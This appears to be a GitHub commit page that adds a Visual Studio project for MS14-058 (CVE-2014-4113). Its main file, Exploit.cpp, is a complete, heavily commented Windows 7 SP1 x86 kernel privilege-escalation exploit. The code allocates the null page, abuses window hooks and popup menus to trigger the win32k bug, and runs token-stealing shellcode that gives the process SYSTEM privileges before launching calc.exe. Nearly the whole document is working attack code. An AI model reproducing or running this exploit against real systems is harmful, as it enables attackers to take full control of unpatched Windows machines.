Skip to content

Commit 29486ee

Browse files
committed
MS14-058
1 parent 50dc46d commit 29486ee

39 files changed

+1037
-0
lines changed

MS14-058/CVE-2014-4113-Exploit.rar

54.2 KB
Binary file not shown.

MS14-058/Exploit/.vs/Exploit/v14/.suo

21 KB
Binary file not shown.

MS14-058/Exploit/Exploit.VC.db

25.4 MB
Binary file not shown.

MS14-058/Exploit/Exploit.sln

+22
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
2+
Microsoft Visual Studio Solution File, Format Version 12.00
3+
# Visual Studio Express 2013 for Windows Desktop
4+
VisualStudioVersion = 12.0.31101.0
5+
MinimumVisualStudioVersion = 10.0.40219.1
6+
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Exploit", "Exploit\Exploit.vcxproj", "{47475E7C-FF81-4FAA-897B-3517562A2141}"
7+
EndProject
8+
Global
9+
GlobalSection(SolutionConfigurationPlatforms) = preSolution
10+
Debug|Win32 = Debug|Win32
11+
Release|Win32 = Release|Win32
12+
EndGlobalSection
13+
GlobalSection(ProjectConfigurationPlatforms) = postSolution
14+
{47475E7C-FF81-4FAA-897B-3517562A2141}.Debug|Win32.ActiveCfg = Debug|Win32
15+
{47475E7C-FF81-4FAA-897B-3517562A2141}.Debug|Win32.Build.0 = Debug|Win32
16+
{47475E7C-FF81-4FAA-897B-3517562A2141}.Release|Win32.ActiveCfg = Release|Win32
17+
{47475E7C-FF81-4FAA-897B-3517562A2141}.Release|Win32.Build.0 = Release|Win32
18+
EndGlobalSection
19+
GlobalSection(SolutionProperties) = preSolution
20+
HideSolutionNode = FALSE
21+
EndGlobalSection
22+
EndGlobal

MS14-058/Exploit/Exploit.v12.suo

18.5 KB
Binary file not shown.

MS14-058/Exploit/Exploit/Exploit.cpp

+328
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,328 @@
1+
// Test.cpp : Defines the entry point for the console application.
2+
//
3+
4+
#include "stdafx.h"
5+
#include <Windows.h>
6+
7+
//Undocumented menu message
8+
#define MN_FINDMENUWINDOWFROMPOINT 0x1EB
9+
10+
//Destroys the menu and then returns -5, this will be passed to xxxSendMessage which will then use it as a pointer.
11+
LRESULT CALLBACK HookCallbackTwo(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
12+
{
13+
printf("Callback two called.\n");
14+
EndMenu();
15+
return -5;
16+
}
17+
18+
LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam) {
19+
printf("Callback one called.\n");
20+
/* lParam is a pointer to a CWPSTRUCT which is defined as:
21+
typedef struct tagCWPSTRUCT {
22+
LPARAM lParam;
23+
WPARAM wParam;
24+
UINT message;
25+
HWND hwnd;
26+
} CWPSTRUCT, *PCWPSTRUCT, *LPCWPSTRUCT;
27+
*/
28+
//lparam+8 is the message sent to the window, here we are checking for the undocumented message MN_FINDMENUWINDOWFROMPOINT which is sent to a window when the function xxxMNFindWindowFromPoint is called
29+
if (*(DWORD *)(lParam + 8) == MN_FINDMENUWINDOWFROMPOINT) {
30+
if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) {
31+
//lparam+12 is a Window Handle pointing to the window - here we are setting its callback to be our second one
32+
SetWindowLongA(*(HWND *)(lParam + 12), GWLP_WNDPROC, (LONG)HookCallbackTwo);
33+
}
34+
}
35+
return CallNextHookEx(0, code, wParam, lParam);
36+
}
37+
38+
/*
39+
LRESULT WINAPI DefWindowProc(
40+
_In_ HWND hWnd,
41+
_In_ UINT Msg,
42+
_In_ WPARAM wParam,
43+
_In_ LPARAM lParam
44+
);
45+
hWnd => Handle of the Window the event was triggered on
46+
Msg => Message, the event that has occurred, this could be that window has moved, has been minimized, clicked on etc
47+
wParam, lParam => extra information depending on the msg recieved.
48+
*/
49+
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
50+
/*
51+
Wait until the window is idle and then send the messages needed to 'click' on the submenu to trigger the bug
52+
*/
53+
printf("WindProc called with message=%d\n", msg);
54+
if (msg == WM_ENTERIDLE) {
55+
PostMessageA(hwnd, WM_KEYDOWN, VK_DOWN, 0);
56+
PostMessageA(hwnd, WM_KEYDOWN, VK_RIGHT, 0);
57+
PostMessageA(hwnd, WM_LBUTTONDOWN, 0, 0);
58+
}
59+
//Just pass any other messages to the default window procedure
60+
return DefWindowProc(hwnd, msg, wParam, lParam);
61+
}
62+
63+
typedef NTSTATUS(NTAPI *lNtAllocateVirtualMemory)(
64+
IN HANDLE ProcessHandle,
65+
IN PVOID *BaseAddress,
66+
IN PULONG ZeroBits,
67+
IN PSIZE_T RegionSize,
68+
IN ULONG AllocationType,
69+
IN ULONG Protect
70+
);
71+
72+
//Gets a pointer to the Win32ThreadInfo structure for the current thread by indexing into the Thread Execution Block for the current thread
73+
DWORD __stdcall GetPTI() {
74+
__asm {
75+
mov eax, fs:18h //eax pointer to TEB
76+
mov eax, [eax + 40h] //get pointer to Win32ThreadInfo
77+
}
78+
}
79+
80+
// Windows 7 SP1 x86 Offsets
81+
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
82+
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
83+
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
84+
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
85+
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
86+
#define SYSTEM_PID 0x004 // SYSTEM Process PID
87+
88+
int __stdcall TokenStealingShellcodeWin7(int one, int two, int three, int four) {
89+
__asm {
90+
; initialize
91+
pushad; save registers state
92+
93+
xor eax, eax; Set zero
94+
mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
95+
mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
96+
97+
mov ecx, eax; Copy current _EPROCESS structure
98+
99+
mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token
100+
mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM Process PID = 0x4
101+
102+
SearchSystemPID:
103+
mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
104+
sub eax, FLINK_OFFSET
105+
cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
106+
jne SearchSystemPID
107+
108+
mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
109+
mov[ecx + TOKEN_OFFSET], edx; Copy nt!_EPROCESS.Token of SYSTEM
110+
; to current process
111+
popad; restore registers state
112+
}
113+
return 0;
114+
}
115+
116+
void _tmain()
117+
{
118+
//Loads ntdll.dll into the processes memory space and returns a HANDLE to it
119+
HMODULE hNtdll = LoadLibraryA("ntdll");
120+
if (hNtdll == NULL) {
121+
printf("Failed to load ntdll");
122+
return;
123+
}
124+
125+
//Get the locations NtAllocateVirtualMemory in ntdll as a FARPROC pointer and then cast it a useable function pointer
126+
lNtAllocateVirtualMemory pNtAllocateVirtualMemory = (lNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
127+
if (pNtAllocateVirtualMemory == NULL) {
128+
printf("Failed to resolve NtAllocateVirtualMemory.\n");
129+
return;
130+
}
131+
132+
//If we pass 0 or NULL to NtAllocateVirtualMemory it won't allocate anything so we pass 1 which is rounded down to 0.
133+
DWORD base_address = 1;
134+
//Aritary size which is probably big enough - it'll get rounded up to the next memory page boundary anyway
135+
SIZE_T region_size = 0x1000;
136+
NTSTATUS tmp = pNtAllocateVirtualMemory(
137+
GetCurrentProcess(), //HANDLE ProcessHandle => The process the mapping should be done for, we pass this process.
138+
(LPVOID*)(&base_address),// PVOID *BaseAddress => The base address we want our memory allocated at, this will be rounded down to the nearest page boundary and the new value will written to it
139+
0, //ULONG_PTR ZeroBits => The number of high-order address bits that must be zero in the base address, this is only used when the base address passed is NULL
140+
&region_size, //RegionSize => How much memory we want allocated, this will be rounded up to the nearest page boundary and the updated value will be written to the variable
141+
(MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN),//ULONG AllocationType => What type of allocation to be done - the chosen flags mean the memory will allocated at the highest valid address and will immediately be reserved and commited so we can use it.
142+
PAGE_EXECUTE_READWRITE //ULONG Protect => The page protection flags the memory should be created with, we want RWX
143+
);
144+
145+
if (tmp != (NTSTATUS)0x0) {
146+
printf("Failed to allocate null page.\n");
147+
return;
148+
}
149+
150+
DWORD pti = GetPTI();
151+
if (pti == NULL) {
152+
printf("Failed to find the Win32ThreadInfo structure for the current thread.\n");
153+
return;
154+
}
155+
156+
//create a pointer to 0x3 where we want to place the Win32ThreadInfo pointer and then place the pointer in memory.
157+
void* pti_loc = (void *)0x3;
158+
void* check_loc = (void *)0x11;
159+
void* shellcode_loc = (void *)0x5b;
160+
*(LPDWORD)pti_loc = pti;
161+
*(LPBYTE)check_loc = 0x4;
162+
*(LPDWORD)shellcode_loc = (DWORD)TokenStealingShellcodeWin7;
163+
/*
164+
typedef struct tagWNDCLASS {
165+
UINT style;
166+
WNDPROC lpfnWndProc;
167+
int cbClsExtra;
168+
int cbWndExtra;
169+
HINSTANCE hInstance;
170+
HICON hIcon;
171+
HCURSOR hCursor;
172+
HBRUSH hbrBackground;
173+
LPCTSTR lpszMenuName;
174+
LPCTSTR lpszClassName;
175+
} WNDCLASS, *PWNDCLASS;
176+
We don't care about any of the style information but we set any needed values below.
177+
*/
178+
WNDCLASSA wnd_class = { 0 };
179+
//Our custome WndProc handler, inspects any window messages before passing then onto the default handler
180+
wnd_class.lpfnWndProc = WndProc;
181+
//Returns a handle to the executable that has the name passed to it, passing NULL means it returns a handle to this executable
182+
wnd_class.hInstance = GetModuleHandle(NULL);
183+
//Random classname - we reference this later when creating a Window of this class
184+
wnd_class.lpszClassName = "abcde";
185+
186+
//Registers the class in the global scope so it can be refered too later.
187+
ATOM reg = RegisterClassA(&wnd_class);
188+
if (reg == NULL){
189+
printf("Failed to register window class.\n");
190+
return;
191+
}
192+
193+
/* Does what it says on the tin..
194+
HWND WINAPI CreateWindow(
195+
_In_opt_ LPCTSTR lpClassName, => The name of the Window class to be created, in this case the class we just registered
196+
_In_opt_ LPCTSTR lpWindowName, => The name to give the window, we don't need to give it a name.
197+
_In_ DWORD dwStyle, => Style options for the window, here
198+
_In_ int x, => x position to create the window,this time the left edge
199+
_In_ int y, => y position to create the window, this time the top edge
200+
_In_ int nWidth, => Width of the window to create, randomly chosen value
201+
_In_ int nHeight, => Height of the to create, randomly chosen value
202+
_In_opt_ HWND hWndParent, => A handle to the parent window, this is our only window so NULL
203+
_In_opt_ HMENU hMenu, => A handle to a menu or sub window to attach to the window, we havent created any yet.
204+
_In_opt_ HINSTANCE hInstance, => A handle to the module the window should be associated with, for us this executable
205+
_In_opt_ LPVOID lpParam => A pointer to data to be passed to the Window with the WM_CREATE message on creation, NULL for us as we don't wish to pass anything.
206+
);
207+
*/
208+
HWND main_wnd = CreateWindowA(wnd_class.lpszClassName, "", WS_OVERLAPPEDWINDOW | WS_VISIBLE, 0, 0, 640, 480, NULL, NULL, wnd_class.hInstance, NULL);
209+
210+
if (main_wnd == NULL){
211+
printf("Failed to create window instance.\n");
212+
return;
213+
}
214+
215+
//Creates an empty popup menu
216+
HMENU MenuOne = CreatePopupMenu();
217+
218+
if (MenuOne == NULL){
219+
printf("Failed to create popup menu one.\n");
220+
return;
221+
}
222+
223+
/*Menu properties to apply to the empty menu we just created
224+
typedef struct tagMENUITEMINFO {
225+
UINT cbSize;
226+
UINT fMask;
227+
UINT fType;
228+
UINT fState;
229+
UINT wID;
230+
HMENU hSubMenu;
231+
HBITMAP hbmpChecked;
232+
HBITMAP hbmpUnchecked;
233+
ULONG_PTR dwItemData;
234+
LPTSTR dwTypeData;
235+
UINT cch;
236+
HBITMAP hbmpItem;
237+
} MENUITEMINFO, *LPMENUITEMINFO;
238+
*/
239+
MENUITEMINFOA MenuOneInfo = { 0 };
240+
//Default size
241+
MenuOneInfo.cbSize = sizeof(MENUITEMINFOA);
242+
//Selects what properties to retrieve or set when GetMenuItemInfo/SetMenuItemInfo are called, in this case only dwTypeData which the contents of the menu item.
243+
MenuOneInfo.fMask = MIIM_STRING;
244+
/*Inserts a new menu at the specified position
245+
BOOL WINAPI InsertMenuItem(
246+
_In_ HMENU hMenu, => Handle to the menu the new item should be inserted into, in our case the empty menu we just created
247+
_In_ UINT uItem, => it should item 0 in the menu
248+
_In_ BOOL fByPosition, => Decided whether uItem is a position or an identifier, in this case its a position. If FALSE it makes uItem an identifier
249+
_In_ LPCMENUITEMINFO lpmii => A pointer to the MENUITEMINFO structure that contains the menu item details.
250+
);
251+
*/
252+
BOOL insertMenuItem = InsertMenuItemA(MenuOne, 0, TRUE, &MenuOneInfo);
253+
254+
if (!insertMenuItem){
255+
printf("Failed to insert popup menu one.\n");
256+
DestroyMenu(MenuOne);
257+
return;
258+
}
259+
260+
HMENU MenuTwo = CreatePopupMenu();
261+
262+
if (MenuTwo == NULL){
263+
printf("Failed to create menu two.\n");
264+
DestroyMenu(MenuOne);
265+
return;
266+
}
267+
268+
MENUITEMINFOA MenuTwoInfo = { 0 };
269+
MenuTwoInfo.cbSize = sizeof(MENUITEMINFOA);
270+
//On this window hSubMenu should be included in Get/SetMenuItemInfo
271+
MenuTwoInfo.fMask = (MIIM_STRING | MIIM_SUBMENU);
272+
//The menu is a sub menu of the first menu
273+
MenuTwoInfo.hSubMenu = MenuOne;
274+
//The contents of the menu item - in this case nothing
275+
MenuTwoInfo.dwTypeData = "";
276+
//The length of the menu item text - in the case 1 for just a single NULL byte
277+
MenuTwoInfo.cch = 1;
278+
insertMenuItem = InsertMenuItemA(MenuTwo, 0, TRUE, &MenuTwoInfo);
279+
280+
if (!insertMenuItem){
281+
printf("Failed to insert second pop-up menu.\n");
282+
DestroyMenu(MenuOne);
283+
DestroyMenu(MenuTwo);
284+
return;
285+
}
286+
287+
/*
288+
HHOOK WINAPI SetWindowsHookEx(
289+
_In_ int idHook, => The type of hook we want to create, in this case WH_CALLWNDPROC which means that the callback will be passed any window messages before the system sends them to the destination window procedure.
290+
_In_ HOOKPROC lpfn, => The callback that should be called when triggered
291+
_In_ HINSTANCE hMod, => If the hook functions is in a dll we pass a handle to the dll here, not needed in this case.
292+
_In_ DWORD dwThreadId => The thread which the callback should be triggered in, we want it to be our current thread.
293+
);
294+
*/
295+
HHOOK setWindowsHook = SetWindowsHookExA(WH_CALLWNDPROC, HookCallback, NULL, GetCurrentThreadId());
296+
297+
if (setWindowsHook == NULL){
298+
printf("Failed to insert call back one.\n");
299+
DestroyMenu(MenuOne);
300+
DestroyMenu(MenuTwo);
301+
return;
302+
}
303+
304+
/* Displays a menu and tracks interactions with it.
305+
BOOL WINAPI TrackPopupMenu(
306+
_In_ HMENU hMenu,
307+
_In_ UINT uFlags,
308+
_In_ int x,
309+
_In_ int y,
310+
_In_ int nReserved,
311+
_In_ HWND hWnd,
312+
_In_opt_ const RECT *prcRect
313+
);
314+
*/
315+
TrackPopupMenu(
316+
MenuTwo, //Handle to the menu we want to display, for us its the submenu we just created.
317+
0, //Options on how the menu is aligned, what clicks are allowed etc, we don't care.
318+
0, //Horizontal position - left hand side
319+
0, //Vertical position - Top edge
320+
0, //Reserved field, has to be 0
321+
main_wnd, //Handle to the Window which owns the menu
322+
NULL //This value is always ignored...
323+
);
324+
325+
//tidy up the screen
326+
DestroyWindow(main_wnd);
327+
system("calc.exe");
328+
}

0 commit comments

Comments
 (0)